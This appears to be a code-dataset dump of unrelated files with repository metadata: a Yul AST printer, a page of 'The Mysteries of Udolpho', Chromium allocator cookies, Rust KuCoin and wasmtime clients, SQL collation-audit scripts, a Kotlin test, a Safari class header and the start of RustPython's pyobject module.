return self.lines[self.pos][start:]
def get_name(self, name):
name = "_".join(re.findall("[A-Z][^A-Z]*", name))
return name.lower()
class YulPrinter(AstVisitor):
def format(self, node: ast.Node, tabs: int = 0) -> str:
return self.visit(node, tabs)
def visit_typed_name(self, node: ast.TypedName, tabs: int = 0) -> str:
return f"{node.name}"
def visit_literal(self, node: ast.Literal, tabs: int = 0) -> str:
return f"{node.value}"
def visit_identifier(self, node: ast.Identifier, tabs: int = 0) -> str:
return f"{node.name}"
def visit_assignment(self, node: ast.Assignment, tabs: int = 0) -> str:
variables = ", ".join(self.visit_list(node.variable_names))
value = self.visit(node.value, 0)
return f"{variables} := {value}"
def visit_function_call(self, node: ast.FunctionCall, tabs: int = 0) -> str:
name = self.visit(node.function_name)
args = ", ".join(self.visit_list(node.arguments))
return f"{name}({args})"
def visit_expression_statement(
self, node: ast.ExpressionStatement, tabs: int = 0
) -> str:
return self.visit(node.expression, tabs)
def visit_variable_declaration(
self, node: ast.VariableDeclaration, tabs: int = 0
) -> str:
variables = ", ".join(self.visit_list(node.variables))
value = ""
if node.value is not None:
value = f" := {self.visit(node.value)}"
return f"let {variables}{value}"
def visit_block(self, node: ast.Block, tabs: int = 0) -> str:
open_block = "{"
close_block = "}"
if self.is_short(node.statements):
statements = "".join(self.visit_list(node.statements))
return " ".join([open_block, statements, close_block])
statements = self.visit_list(node.statements, tabs + 1)
statements = ["\t" * (tabs + 1) + stmt for stmt in statements]
statements = "\n".join(statements)
close_block = "\t" * tabs + close_block
res = "\n".join([open_block, statements, close_block])
return res
def visit_function_definition(
self, node: ast.FunctionDefinition, tabs: int = 0
) -> str:
parameters = ", ".join(self.visit_list(node.parameters, 0))
ret_vars = ", ".join(self.visit_list(node.return_variables, 0))
body = self.visit(node.body, tabs)
res = f"function {node.name}({parameters})"
if len(node.return_variables) > 0:
res += f" -> {ret_vars}"
res += f" {body}"
return res
def visit_if(self, node: ast.If, tabs: int = 0) -> str:
res = f"if {self.visit(node.condition)} "
res += self.visit(node.body, tabs)
if node.else_body is not None:
res += "\n" + "\t" * tabs + "else "
res += self.visit(node.else_body, tabs)
return res
def visit_case(self, node: ast.Case, tabs: int = 0) -> str:
res = "\t" * tabs
if node.value is not None:
res += f"case {self.visit(node.value)} "
else:
res += "default "
res += self.visit(node.body, tabs)
return res
def visit_switch(self, node: ast.Switch, tabs: int = 0) -> str:
res = f"switch {self.visit(node.expression)}\n"
res += "\n".join(self.visit_list(node.cases, tabs))
return res
def visit_for_loop(self, node: ast.ForLoop, tabs: int = 0) -> str:
res = "for "
res += self.visit(node.pre, tabs)
res += f" {self.visit(node.condition)} "
res += self.visit(node.post, tabs)
res += f"\n{self.visit(node.body, tabs)}"
return res
def visit_break(self, node: ast.Break, tabs: int = 0) -> str:
return "break"
def visit_continue(self, node: ast.Continue, tabs: int = 0) -> str:
return "continue"
def visit_leave(self, node: ast.Leave, tabs: int = 0) -> str:
return "leave"
def is_short(self, stmts: tuple) -> bool:
if len(stmts) == 0:
return True
return len(stmts) == 1 and type(stmts[0]).__name__ not in [
"Block",
"FunctionDefinition",
"If",
"Switch",
"ForLoop",
]
| 32.601449 | 88 | 0.572127 |
11d14d5ef56fbe195d22156a7b3934d5f1864855
| 949 |
html
|
HTML
|
manuscript/page-696/body.html
|
marvindanig/the-mysteries-of-udolpho
|
5a143f37e9daf1f112c0c9df7190998a5683b4b6
|
[
"BlueOak-1.0.0",
"CC-BY-4.0",
"Unlicense"
] | null | null | null |
manuscript/page-696/body.html
|
marvindanig/the-mysteries-of-udolpho
|
5a143f37e9daf1f112c0c9df7190998a5683b4b6
|
[
"BlueOak-1.0.0",
"CC-BY-4.0",
"Unlicense"
] | null | null | null |
manuscript/page-696/body.html
|
marvindanig/the-mysteries-of-udolpho
|
5a143f37e9daf1f112c0c9df7190998a5683b4b6
|
[
"BlueOak-1.0.0",
"CC-BY-4.0",
"Unlicense"
] | null | null | null |
<div class="leaf flex"><div class="inner justify"><p class="no-indent ">way out.”</p><p>“Certainly: but I wish first to examine the picture; take the light, Annette, while I lift the veil.” Annette took the light, and immediately walked away with it, disregarding Emily’s call to stay, who, not choosing to be left alone in the dark chamber, at length followed her. “What is the reason of this, Annette?” said Emily, when she overtook her, “what have you heard concerning that picture, which makes you so unwilling to stay when I bid you?”</p><p>“I don’t know what is the reason, ma’amselle,” replied Annette, “nor anything about the picture, only I have heard there is something very dreadful belonging to it—and that it has been covered up in black _ever since_—and that nobody has looked at it for a great many years—and it somehow has to do with the owner of this castle before Signor Montoni came to the possession of it—and—”</p></div> </div>
| 949 | 949 | 0.75764 |
c426383281f4b909271117a98dbd789ba2db8087
| 2,030 |
h
|
C
|
src/base/allocator/partition_allocator/partition_cookie.h
|
Chilledheart/naiveproxy
|
9d28da89b325a90d33add830f4202c8b17c7c3e3
|
[
"BSD-3-Clause"
] | null | null | null |
src/base/allocator/partition_allocator/partition_cookie.h
|
Chilledheart/naiveproxy
|
9d28da89b325a90d33add830f4202c8b17c7c3e3
|
[
"BSD-3-Clause"
] | null | null | null |
src/base/allocator/partition_allocator/partition_cookie.h
|
Chilledheart/naiveproxy
|
9d28da89b325a90d33add830f4202c8b17c7c3e3
|
[
"BSD-3-Clause"
] | null | null | null |
// Copyright (c) 2018 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef BASE_ALLOCATOR_PARTITION_ALLOCATOR_PARTITION_COOKIE_H_
#define BASE_ALLOCATOR_PARTITION_ALLOCATOR_PARTITION_COOKIE_H_
#include "base/allocator/buildflags.h"
#include "base/allocator/partition_allocator/partition_alloc_check.h"
#include "base/compiler_specific.h"
namespace partition_alloc::internal {
static constexpr size_t kCookieSize = 16;
// Cookie is enabled for debug builds.
#if DCHECK_IS_ON()
static constexpr unsigned char kCookieValue[kCookieSize] = {
0xDE, 0xAD, 0xBE, 0xEF, 0xCA, 0xFE, 0xD0, 0x0D,
0x13, 0x37, 0xF0, 0x05, 0xBA, 0x11, 0xAB, 0x1E};
constexpr size_t kPartitionCookieSizeAdjustment = kCookieSize;
ALWAYS_INLINE void PartitionCookieCheckValue(unsigned char* cookie_ptr) {
for (size_t i = 0; i < kCookieSize; ++i, ++cookie_ptr)
PA_DCHECK(*cookie_ptr == kCookieValue[i]);
}
ALWAYS_INLINE void PartitionCookieWriteValue(unsigned char* cookie_ptr) {
for (size_t i = 0; i < kCookieSize; ++i, ++cookie_ptr)
*cookie_ptr = kCookieValue[i];
}
#else
constexpr size_t kPartitionCookieSizeAdjustment = 0;
ALWAYS_INLINE void PartitionCookieCheckValue(unsigned char* address) {}
ALWAYS_INLINE void PartitionCookieWriteValue(unsigned char* cookie_ptr) {}
#endif // DCHECK_IS_ON()
} // namespace partition_alloc::internal
namespace base::internal {
// TODO(https://crbug.com/1288247): Remove these 'using' declarations once
// the migration to the new namespaces gets done.
using ::partition_alloc::internal::kCookieSize;
using ::partition_alloc::internal::kPartitionCookieSizeAdjustment;
using ::partition_alloc::internal::PartitionCookieCheckValue;
using ::partition_alloc::internal::PartitionCookieWriteValue;
#if DCHECK_IS_ON()
using ::partition_alloc::internal::kCookieValue;
#endif // DCHECK_IS_ON()
} // namespace base::internal
#endif // BASE_ALLOCATOR_PARTITION_ALLOCATOR_PARTITION_COOKIE_H_
| 32.741935 | 74 | 0.783251 |
de3d3a3942ce01d08cee2786421f122698795730
| 2,723 |
rs
|
Rust
|
crypto-ws-client/src/clients/kucoin/kucoin_spot.rs
|
CPT-Jack-A-Castle/crypto-crawler-rs
|
e7b8a2d51989e69779c69e3e7755351fe5fcb3bb
|
[
"Apache-2.0"
] | null | null | null |
crypto-ws-client/src/clients/kucoin/kucoin_spot.rs
|
CPT-Jack-A-Castle/crypto-crawler-rs
|
e7b8a2d51989e69779c69e3e7755351fe5fcb3bb
|
[
"Apache-2.0"
] | null | null | null |
crypto-ws-client/src/clients/kucoin/kucoin_spot.rs
|
CPT-Jack-A-Castle/crypto-crawler-rs
|
e7b8a2d51989e69779c69e3e7755351fe5fcb3bb
|
[
"Apache-2.0"
] | null | null | null |
use crate::{Level3OrderBook, WSClient};
use std::sync::{Arc, Mutex};
use super::super::ws_client_internal::WSClientInternal;
use super::super::{Candlestick, OrderBook, OrderBookSnapshot, Ticker, Trade, BBO};
use super::utils::{
channels_to_commands, fetch_ws_token, on_misc_msg, to_raw_channel, WebsocketToken,
CLIENT_PING_INTERVAL_AND_MSG, EXCHANGE_NAME,
};
use lazy_static::lazy_static;
lazy_static! {
static ref WS_TOKEN: WebsocketToken = fetch_ws_token();
static ref WEBSOCKET_URL: String = format!("{}?token={}", WS_TOKEN.endpoint, WS_TOKEN.token);
}
/// The WebSocket client for KuCoin Spot market.
///
/// * WebSocket API doc: <https://docs.kucoin.com/#websocket-feed>
/// * Trading at: <https://trade.kucoin.com/>
pub struct KuCoinSpotWSClient<'a> {
client: WSClientInternal<'a>,
}
#[rustfmt::skip]
impl_trait!(Trade, KuCoinSpotWSClient, subscribe_trade, "/market/match", to_raw_channel);
#[rustfmt::skip]
impl_trait!(BBO, KuCoinSpotWSClient, subscribe_bbo, "/market/ticker", to_raw_channel);
#[rustfmt::skip]
impl_trait!(OrderBook, KuCoinSpotWSClient, subscribe_orderbook, "/market/level2", to_raw_channel);
#[rustfmt::skip]
impl_trait!(OrderBookSnapshot, KuCoinSpotWSClient, subscribe_orderbook_snapshot, "/spotMarket/level2Depth50", to_raw_channel);
#[rustfmt::skip]
impl_trait!(Ticker, KuCoinSpotWSClient, subscribe_ticker, "/market/snapshot", to_raw_channel);
fn to_candlestick_raw_channel(pair: &str, interval: u32) -> String {
let interval_str = match interval {
60 => "1min",
180 => "3min",
300 => "5min",
900 => "15min",
1800 => "30min",
3600 => "1hour",
7200 => "2hour",
14400 => "4hour",
21600 => "6hour",
28800 => "8hour",
43200 => "12hour",
86400 => "1day",
604800 => "1week",
_ => panic!(
"KuCoin available intervals 1min,3min,5min,15min,30min,1hour,2hour,4hour,6hour,8hour,12hour,1day,1week"
),
};
format!(
r#"{{"id":"crypto-ws-client","type":"subscribe","topic":"/market/candles:{}_{}","privateChannel":false,"response":true}}"#,
pair, interval_str,
)
}
impl_candlestick!(KuCoinSpotWSClient);
impl<'a> Level3OrderBook for KuCoinSpotWSClient<'a> {
fn subscribe_l3_orderbook(&self, symbols: &[String]) {
let raw_channels: Vec<String> = symbols
.iter()
.map(|symbol| to_raw_channel("/spotMarket/level3", symbol))
.collect();
self.client.subscribe(&raw_channels);
}
}
define_client!(
KuCoinSpotWSClient,
EXCHANGE_NAME,
WEBSOCKET_URL.as_str(),
channels_to_commands,
on_misc_msg,
Some(CLIENT_PING_INTERVAL_AND_MSG),
None
);
| 32.807229 | 131 | 0.668748 |
75e83db7383835ce0d29e29a88b9fa6de4722789
| 1,331 |
rs
|
Rust
|
src/create.rs
|
PLSysSec/rlbox_wasmtime_sandbox
|
32592d77d4918a275d3ce32faf3e3ee41e3759be
|
[
"MIT"
] | null | null | null |
src/create.rs
|
PLSysSec/rlbox_wasmtime_sandbox
|
32592d77d4918a275d3ce32faf3e3ee41e3759be
|
[
"MIT"
] | null | null | null |
src/create.rs
|
PLSysSec/rlbox_wasmtime_sandbox
|
32592d77d4918a275d3ce32faf3e3ee41e3759be
|
[
"MIT"
] | 1 |
2021-03-22T20:26:55.000Z
|
2021-03-22T20:26:55.000Z
|
use crate::types::WasmtimeSandboxInstance;
use wasmtime::*;
use wasmtime_wasi::Wasi;
use wasi_cap_std_sync::WasiCtxBuilder;
use std::ffi::{c_void, CStr};
use std::os::raw::c_char;
#[no_mangle]
pub extern "C" fn wasmtime_load_module(wasmtime_module_path: *const c_char, _allow_stdio: bool) -> *mut c_void {
let module_path = unsafe {
CStr::from_ptr(wasmtime_module_path)
.to_string_lossy()
.into_owned()
};
let store = Store::default();
let mut linker = Linker::new(&store);
let wasi = Wasi::new(
&store,
WasiCtxBuilder::new()
.inherit_stdio()
.inherit_args().unwrap()
.build().unwrap(),
);
wasi.add_to_linker(&mut linker).unwrap();
let module = Module::from_file(store.engine(), module_path).unwrap();
let instance = linker.instantiate(&module).unwrap();
let inst = WasmtimeSandboxInstance {
instance,
store,
linker,
wasi,
module,
free_callback_slots: vec![]
};
let r = Box::into_raw(Box::new(inst)) as *mut c_void;
return r;
}
#[no_mangle]
pub extern "C" fn wasmtime_drop_module(inst_ptr: *mut c_void) {
// Need to invoke the destructor
let _inst = unsafe {
Box::from_raw(inst_ptr as *mut WasmtimeSandboxInstance)
};
}
| 26.098039 | 112 | 0.621337 |
4c6a2817f94b0266f78b52062862399fd1044a41
| 4,631 |
sql
|
SQL
|
Utility Scripts/Collation Different From Default.sql
|
SQLAdrian/MadeiraToolbox
|
78cecd48cd655619da3e90b2d2f9fc998a065e11
|
[
"MIT"
] | null | null | null |
Utility Scripts/Collation Different From Default.sql
|
SQLAdrian/MadeiraToolbox
|
78cecd48cd655619da3e90b2d2f9fc998a065e11
|
[
"MIT"
] | null | null | null |
Utility Scripts/Collation Different From Default.sql
|
SQLAdrian/MadeiraToolbox
|
78cecd48cd655619da3e90b2d2f9fc998a065e11
|
[
"MIT"
] | null | null | null |
/*
Find databases and columns with collation different from the default
====================================================================
Author: Eitan Blumin
Date: 2022-01-19
Description:
This script outputs 2 resultsets:
1. List of all accessible databases, the database collation of each, and whether it's equal to the server default collation.
2. List of all table columns with a collation different than its database default.
*/
DECLARE
@DBName sysname = NULL -- Optional parameter to filter by a specific database. Leave NULL to check all accessible databases.
SET NOCOUNT ON;
SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
DECLARE @Results AS table
(
[database_name] sysname NOT NULL,
[database_collation] sysname NOT NULL,
[schema_name] sysname NOT NULL,
[table_name] sysname NOT NULL,
[column_name] sysname NOT NULL,
[column_type] sysname NOT NULL,
[column_type_schema] sysname NOT NULL,
[column_type_user_defined] bit NULL,
[max_length] int NULL,
[collation_name] sysname NOT NULL,
[is_nullable] bit NULL,
[dependent_indexes] xml NULL,
[dependent_foreign_keys] xml NULL,
[schemabound_dependencies] xml NULL
)
DECLARE @SpExecuteSql nvarchar(1000), @DBCollation sysname;
SELECT @@SERVERNAME AS [server_name], [name] AS [database_name], collation_name
, is_server_default = CASE WHEN collation_name = CONVERT(sysname, SERVERPROPERTY('Collation')) THEN 1 ELSE 0 END
FROM sys.databases
WHERE (@DBName IS NULL OR @DBName = [name])
AND (@DBName IS NOT NULL OR database_id > 4)
AND state = 0
AND HAS_DBACCESS([name]) = 1
ORDER BY database_id ASC
DECLARE DBs CURSOR
LOCAL FAST_FORWARD
FOR
SELECT [name], collation_name
FROM sys.databases
WHERE (@DBName IS NULL OR @DBName = [name])
AND (@DBName IS NOT NULL OR database_id > 4)
AND state = 0
AND HAS_DBACCESS([name]) = 1
ORDER BY database_id ASC
OPEN DBs;
WHILE 1=1
BEGIN
FETCH NEXT FROM DBs INTO @DBName, @DBCollation;
IF @@FETCH_STATUS <> 0 BREAK;
SET @SpExecuteSql = QUOTENAME(@DBName) + N'..sp_executesql';
INSERT INTO @Results
EXEC @SpExecuteSql N'SELECT DB_NAME()
, CONVERT(sysname, DATABASEPROPERTYEX(DB_NAME(), ''Collation''))
, SCHEMA_NAME(o.schema_id), o.name, c.[name] AS column_name, t.name AS column_type, SCHEMA_NAME(t.schema_id) AS column_type_schema, t.is_user_defined
, c.max_length, c.collation_name, c.is_nullable
, dependent_indexes = (
SELECT ix.type_desc AS [@type]
, ix.is_primary_key AS [@is_primary_key]
, ix.is_unique_constraint AS [@is_unique_constraint]
, ix.[name] AS [text()]
FROM sys.index_columns AS ixc
INNER JOIN sys.indexes AS ix ON ix.object_id = ixc.object_id AND ix.index_id = ixc.index_id
WHERE ix.object_id = o.object_id
AND ixc.column_id = c.column_id
FOR XML PATH(''Index''), TYPE
)
, dependent_foreign_keys = (
SELECT
QUOTENAME(OBJECT_SCHEMA_NAME(fk.parent_object_id)) + N''.'' + QUOTENAME(OBJECT_NAME(fk.parent_object_id)) AS [@ParentTable]
, QUOTENAME(OBJECT_SCHEMA_NAME(fk.referenced_object_id)) + N''.'' + QUOTENAME(OBJECT_NAME(fk.referenced_object_id)) AS [@ReferencedTable]
, OBJECT_NAME(fk.constraint_object_id) AS [text()]
FROM sys.foreign_key_columns AS fk
WHERE (fk.parent_object_id = o.object_id AND fk.parent_column_id = c.column_id)
OR (fk.referenced_object_id = o.object_id AND fk.referenced_column_id = c.column_id)
FOR XML PATH(''ForeignKey''), TYPE
)
, schemabound_dependencies = (
SELECT
d.class_desc AS [@class]
, OBJECT_SCHEMA_NAME(d.object_id) + N''.'' + OBJECT_NAME(d.object_id) AS [text()]
FROM sys.sql_dependencies AS D
WHERE d.referenced_major_id = o.object_id
AND d.referenced_minor_id = c.column_id
AND d.class > 0
FOR XML PATH(''Dependency''), TYPE
)
FROM sys.tables AS o
INNER JOIN sys.columns AS c ON c.object_id = o.object_id
INNER JOIN sys.types AS t ON c.user_type_id = t.user_type_id AND c.system_type_id = t.system_type_id
WHERE o.is_ms_shipped = 0
AND c.is_computed = 0
AND SCHEMA_NAME(o.schema_id) <> ''sys''
AND c.collation_name <> CONVERT(sysname, DATABASEPROPERTYEX(DB_NAME(), ''Collation''))'
END
CLOSE DBs;
DEALLOCATE DBs;
SELECT *
, AlterCmd = N'USE ' + QUOTENAME([database_name]) + N'; ALTER TABLE ' + QUOTENAME([schema_name]) + N'.' + QUOTENAME([table_name])
+ N' ALTER COLUMN ' + QUOTENAME([column_name]) + N' '
+ CASE WHEN [column_type_user_defined] = 1 THEN QUOTENAME(column_type_schema) + N'.' ELSE N'' END
+ QUOTENAME(column_type) + N'('
+ ISNULL(CONVERT(nvarchar(MAX),
NULLIF(max_length,-1)
/ CASE WHEN column_type IN ('nvarchar','nchar') AND max_length > 0 THEN 2 ELSE 1 END
), N'MAX') + N')'
+ N' COLLATE ' + [database_collation] + N' ' + CASE is_nullable WHEN 1 THEN N'NULL' ELSE N'NOT NULL' END
FROM @Results;
| 36.753968 | 149 | 0.73807 |
b7fdf0ff95ad9beed9e33d7a31a413328a744740
| 140 |
kt
|
Kotlin
|
idea/testData/quickfix/lateinit/withGetterSetter.kt
|
AndrewReitz/kotlin
|
ec6904afd15ba6f9aefafdfa8d5618aab25e334e
|
[
"ECL-2.0",
"Apache-2.0"
] | 337 |
2020-05-14T00:40:10.000Z
|
2022-02-16T23:39:07.000Z
|
idea/testData/quickfix/lateinit/withGetterSetter.kt
|
AndrewReitz/kotlin
|
ec6904afd15ba6f9aefafdfa8d5618aab25e334e
|
[
"ECL-2.0",
"Apache-2.0"
] | 92 |
2020-06-10T23:17:42.000Z
|
2020-09-25T10:50:13.000Z
|
idea/testData/quickfix/lateinit/withGetterSetter.kt
|
AndrewReitz/kotlin
|
ec6904afd15ba6f9aefafdfa8d5618aab25e334e
|
[
"ECL-2.0",
"Apache-2.0"
] | 54 |
2016-02-29T16:27:38.000Z
|
2020-12-26T15:02:23.000Z
|
// "Remove getter and setter from property" "true"
class A {
<caret>lateinit var str: String
get() = ""
set(value) {}
}
| 20 | 50 | 0.564286 |
32dc8228ceaf3486e9dfca2344e02f7a3d8af9df
| 646 |
sql
|
SQL
|
server_restapi/source/database/function/sp_accountToken_patch.sql
|
MohamedGamil/mortis
|
9bf146fcd0423b4250efd179ee444d1e1b3d3266
|
[
"MIT"
] | 19 |
2017-03-02T00:40:24.000Z
|
2019-12-05T12:14:01.000Z
|
server_restapi/source/database/function/sp_accountToken_patch.sql
|
MohamedGamil/mortis
|
9bf146fcd0423b4250efd179ee444d1e1b3d3266
|
[
"MIT"
] | 1 |
2017-08-28T23:49:42.000Z
|
2017-09-04T17:16:46.000Z
|
server_restapi/source/database/function/sp_accountToken_patch.sql
|
MohamedGamil/mortis
|
9bf146fcd0423b4250efd179ee444d1e1b3d3266
|
[
"MIT"
] | 11 |
2017-03-14T16:55:26.000Z
|
2021-12-16T08:58:53.000Z
|
-- clean up
DROP PROCEDURE IF EXISTS sp_accountToken_patch;
-- go
CREATE PROCEDURE sp_accountToken_patch
(
p_accountTokenId BIGINT
, p_accountId BIGINT
, p_token VARCHAR(1024)
)
this_proc:BEGIN
UPDATE accountToken
SET
accountId = p_accountId
, token = p_token
, updatedOn = CURRENT_TIMESTAMP
WHERE
accountTokenId = p_accountTokenId
;
SELECT
t.accountTokenId
, t.accountId
, t.token
, t.createdOn
, t.updatedOn
FROM
accountToken t
WHERE
t.accountTokenId = p_accountTokenId
;
END
| 17.459459 | 47 | 0.595975 |
85c0a4e2b7b0770a54c1938dd16d94abe4c56075
| 5,744 |
rs
|
Rust
|
rsx/parser/src/util/token_iterator.rs
|
JosephLenton/RenderX
|
88d50c5f43925bed67e44ca99a8d5241e419a4bd
|
[
"MIT"
] | null | null | null |
rsx/parser/src/util/token_iterator.rs
|
JosephLenton/RenderX
|
88d50c5f43925bed67e44ca99a8d5241e419a4bd
|
[
"MIT"
] | null | null | null |
rsx/parser/src/util/token_iterator.rs
|
JosephLenton/RenderX
|
88d50c5f43925bed67e44ca99a8d5241e419a4bd
|
[
"MIT"
] | null | null | null |
use ::lookahead::lookahead;
use ::lookahead::Lookahead;
use ::proc_macro2::Delimiter;
use ::proc_macro2::Group;
use ::proc_macro2::Ident;
use ::proc_macro2::TokenStream;
use ::proc_macro2::TokenTree;
use ::std::fmt::Debug;
use ::std::iter::FromIterator;
use ::std::iter::Iterator;
pub enum TokenIteratorError {
ChompOnEmptyNode,
UnexpectedToken,
}
pub type Result<N> = ::std::result::Result<N, TokenIteratorError>;
#[derive(Clone, Debug)]
pub struct TokenIterator<I: Iterator<Item = TokenTree> + Clone + Debug> {
iter: Lookahead<I>,
}
impl<I: Iterator<Item = TokenTree> + Clone + Debug> TokenIterator<I> {
pub fn new<IntoI>(stream: IntoI) -> Self
where
IntoI: IntoIterator<Item = TokenTree, IntoIter = I>,
{
let iterator = stream.into_iter();
Self {
iter: lookahead(iterator),
}
}
pub fn peek(&mut self) -> Option<&TokenTree> {
self.iter.lookahead(0)
}
pub fn is_lookahead_puncts(&mut self, cs: &[char]) -> bool {
for (i, c) in cs.iter().enumerate() {
if !self.is_lookahead_punct(*c, i) {
return false;
}
}
true
}
pub fn lookahead(&mut self, index: usize) -> Option<&TokenTree> {
self.iter.lookahead(index)
}
pub fn is_lookahead_punct(&mut self, c: char, index: usize) -> bool {
if let Some(TokenTree::Punct(punct)) = self.lookahead(index) {
return punct.as_char() == c;
}
false
}
pub fn is_lookahead_ident(&mut self, index: usize) -> bool {
if let Some(TokenTree::Ident(_)) = self.lookahead(index) {
return true;
}
false
}
pub fn is_next_ident(&mut self) -> bool {
if let Some(TokenTree::Ident(_)) = self.peek() {
return true;
}
false
}
pub fn is_next_punct(&mut self, c: char) -> bool {
self.is_lookahead_punct(c, 0)
}
pub fn is_next_literal(&mut self) -> bool {
if let Some(TokenTree::Literal(_)) = self.peek() {
return true;
}
false
}
/// Returns true if empty.
pub fn is_empty(&mut self) -> bool {
self.peek().is_none()
}
/// Moves forward one item.
///
/// Panics if called when there is no next item.
pub fn chomp(&mut self) -> Result<TokenTree> {
if self.is_empty() {
return Err(TokenIteratorError::ChompOnEmptyNode);
}
Ok(self.iter.next().unwrap())
}
pub fn chomp_ident(&mut self) -> Result<Ident> {
if let TokenTree::Ident(ident) = self.chomp()? {
return Ok(ident);
}
Err(TokenIteratorError::UnexpectedToken)
}
pub fn chomp_ident_of(&mut self, ident_str: &str) -> Result<Ident> {
let ident = self.chomp_ident()?;
if ident.to_string() == ident_str {
return Ok(ident);
}
Err(TokenIteratorError::UnexpectedToken)
}
pub fn chomp_literal(&mut self) -> Result<String> {
if let Some(TokenTree::Literal(literal)) = self.peek() {
let mut literal_string = literal.to_string();
if literal_string.starts_with('"') {
literal_string = literal_string.as_str()[1..literal_string.len() - 1].to_string();
}
self.chomp()?;
return Ok(literal_string);
}
Err(TokenIteratorError::UnexpectedToken)
}
pub fn chomp_punct(&mut self, c: char) -> Result<()> {
if self.is_next_punct(c) {
self.chomp()?;
Ok(())
} else {
Err(TokenIteratorError::UnexpectedToken)
}
}
pub fn chomp_puncts(&mut self, cs: &[char]) -> Result<()> {
for c in cs {
self.chomp_punct(*c)?;
}
Ok(())
}
pub fn is_brace_group(&mut self) -> bool {
self.is_group(Delimiter::Brace)
}
pub fn is_group(&mut self, delimiter: Delimiter) -> bool {
if let Some(TokenTree::Group(group)) = self.peek() {
return group.delimiter() == delimiter;
}
false
}
pub fn chomp_brace_group(&mut self) -> Result<TokenStream> {
match self.chomp()? {
TokenTree::Group(group) => {
if group.delimiter() == Delimiter::Brace {
Ok(group.stream())
} else {
Err(TokenIteratorError::UnexpectedToken)
}
}
_ => Err(TokenIteratorError::UnexpectedToken),
}
}
pub fn chomp_group(&mut self, delimiter: Delimiter) -> Result<Group> {
if let TokenTree::Group(group) = self.chomp()? {
if group.delimiter() == delimiter {
return Ok(group);
}
}
Err(TokenIteratorError::UnexpectedToken)
}
pub fn to_token_stream(self) -> TokenStream {
TokenStream::from_iter(self.iter)
}
}
#[cfg(test)]
mod is_lookahead_puncts {
use super::*;
use ::quote::quote;
#[test]
fn it_should_return_true_if_puncts_ahead() {
let tokens = quote! {
+ + = +
};
let mut input = TokenIterator::new(tokens);
assert!(input.is_lookahead_puncts(&['+']));
assert!(input.is_lookahead_puncts(&['+', '+']));
assert!(input.is_lookahead_puncts(&['+', '+', '=']));
assert!(input.is_lookahead_puncts(&['+', '+', '=', '+']));
}
#[test]
fn it_should_return_false_if_lookahead_overflows() {
let tokens = quote! {
+ + = +
};
let mut input = TokenIterator::new(tokens);
assert_eq!(false, input.is_lookahead_puncts(&['+', '+', '=', '+', '+']));
}
}
| 25.873874 | 98 | 0.543872 |
99690134aa108bf2dbfe7471a7ec0161b3aac27f
| 1,612 |
h
|
C
|
System/Library/PrivateFrameworks/SafariShared.framework/WBSContentBlockerStatisticsSQLiteStore.h
|
zhangkn/iOS14Header
|
4323e9459ed6f6f5504ecbea2710bfd6c3d7c946
|
[
"MIT"
] | 1 |
2020-11-04T15:43:01.000Z
|
2020-11-04T15:43:01.000Z
|
System/Library/PrivateFrameworks/SafariShared.framework/WBSContentBlockerStatisticsSQLiteStore.h
|
zhangkn/iOS14Header
|
4323e9459ed6f6f5504ecbea2710bfd6c3d7c946
|
[
"MIT"
] | null | null | null |
System/Library/PrivateFrameworks/SafariShared.framework/WBSContentBlockerStatisticsSQLiteStore.h
|
zhangkn/iOS14Header
|
4323e9459ed6f6f5504ecbea2710bfd6c3d7c946
|
[
"MIT"
] | null | null | null |
/*
* This header is generated by classdump-dyld 1.0
* on Sunday, September 27, 2020 at 11:41:57 AM Mountain Standard Time
* Operating System: Version 14.0 (Build 18A373)
* Image Source: /System/Library/PrivateFrameworks/SafariShared.framework/SafariShared
* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos.
*/
@protocol OS_dispatch_queue;
@class NSURL, NSObject, WBSSQLiteDatabase;
@interface WBSContentBlockerStatisticsSQLiteStore : NSObject {
NSURL* _databaseURL;
NSObject*<OS_dispatch_queue> _databaseQueue;
WBSSQLiteDatabase* _database;
}
+(id)standardStore;
+(id)_defaultDatabaseURL;
-(void)_openDatabase;
-(void)closeDatabase;
-(void)_openDatabaseIfNeeded;
-(long long)_idForThirdPartyWithHighLevelDomain:(id)arg1 ;
-(long long)_idForFirstPartyWithHighLevelDomain:(id)arg1 ;
-(void)blockedThirdPartiesAfter:(id)arg1 before:(id)arg2 onFirstParty:(id)arg3 completionHandler:(/*^block*/id)arg4 ;
-(void)_clearStatisticsAfter:(id)arg1 before:(id)arg2 ;
-(void)_clearStatisticsForDomain:(id)arg1 ;
-(void)_deleteUnusedDomains;
-(void)_closeDatabaseOnDatabaseQueue;
-(void)_createDatabaseSchemaIfNeeded;
-(void)clearAllStatisticsWithCompletionHandler:(/*^block*/id)arg1 ;
-(void)recordThirdPartyResourceBlocked:(id)arg1 onFirstParty:(id)arg2 completionHandler:(/*^block*/id)arg3 ;
-(void)blockedThirdPartiesAfter:(id)arg1 before:(id)arg2 completionHandler:(/*^block*/id)arg3 ;
-(void)clearStatisticsAfter:(id)arg1 before:(id)arg2 ;
-(void)clearStatisticsForDomains:(id)arg1 ;
-(void)_configureDatabase;
-(id)initWithDatabaseURL:(id)arg1 ;
-(long long)_schemaVersion;
@end
| 37.488372 | 117 | 0.794665 |
722588b3fd5730a7d7c7092532b0d63a4f596079
| 41,688 |
rs
|
Rust
|
vm/src/pyobject.rs
|
liranringel/RustPython
|
9888d27e6125824b10821e920be5bf3666230e1a
|
[
"MIT"
] | null | null | null |
vm/src/pyobject.rs
|
liranringel/RustPython
|
9888d27e6125824b10821e920be5bf3666230e1a
|
[
"MIT"
] | null | null | null |
vm/src/pyobject.rs
|
liranringel/RustPython
|
9888d27e6125824b10821e920be5bf3666230e1a
|
[
"MIT"
] | null | null | null |
use std::any::Any;
use std::cell::Cell;
use std::cell::RefCell;
use std::collections::HashMap;
use std::fmt;
use std::marker::PhantomData;
use std::mem;
use std::ops::Deref;
use std::ptr;
use std::rc::Rc;
use num_bigint::BigInt;
use num_complex::Complex64;
use num_traits::{One, Zero};
use crate::bytecode;
use crate::exceptions;
use crate::frame::Scope;
use crate::function::{IntoPyNativeFunc, PyFuncArgs};
use crate::obj::objbool;
use crate::obj::objbuiltinfunc::PyBuiltinFunction;
use crate::obj::objbytearray;
use crate::obj::objbytes;
use crate::obj::objclassmethod::{self, PyClassMethod};
use crate::obj::objcode;
use crate::obj::objcode::PyCodeRef;
use crate::obj::objcomplex::{self, PyComplex};
use crate::obj::objdict::{self, PyDict, PyDictRef};
use crate::obj::objellipsis;
use crate::obj::objenumerate;
